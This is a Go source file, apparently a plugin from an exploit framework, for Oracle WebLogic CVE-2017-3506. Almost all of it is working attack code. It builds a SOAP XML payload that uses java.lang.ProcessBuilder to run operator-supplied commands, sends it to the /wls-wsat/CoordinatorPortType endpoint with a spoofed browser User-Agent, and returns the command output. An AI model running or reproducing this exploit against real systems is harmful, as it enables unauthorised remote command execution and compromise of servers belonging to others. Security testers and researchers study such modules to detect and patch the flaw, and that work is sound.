package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"strings"
)

type WebLogicCve20173506 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp WebLogicCve20173506
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *WebLogicCve20173506) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "ef8268d1-b98e-4626-af6c-e9b41073d473",
		VulId:   "76b9bff1-c24b-49d9-996a-ded4113f1dbf",
		Name:    "WebLogic_CVE_2017_3506",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *WebLogicCve20173506) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (expData []*expbase.CommandResultEvent, err error) {
	data := `<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
            	<void index="0"><string><![CDATA[{cmd1234}]]></string></void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>`
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	for _, cmd := range expContext.CommandToExecute {
		data1 := strings.Replace(data, "{cmd1234}", cmd, 1)
		oldUrl := req.GetUrl()
		newUrl, err := url.Parse(req.GetUrl().String() + `/wls-wsat/CoordinatorPortType`)
		if err != nil {
			return nil, err
		}
		req.RawRequest.Method = http.MethodPost
		req.RawRequest.URL = newUrl
		req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")
		req.RawRequest.Header.Set("Content-Type", "text/xml;charset=UTF-8")
		req.SetBody([]byte(data1))
		resp, err := expContext.HttpClient.Do(ctx, req)
		req.RawRequest.URL = oldUrl
		if err != nil {
			return nil, err
		}
		expData = append(expData, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return expData, nil
}
func (t *WebLogicCve20173506) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *WebLogicCve20173506) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
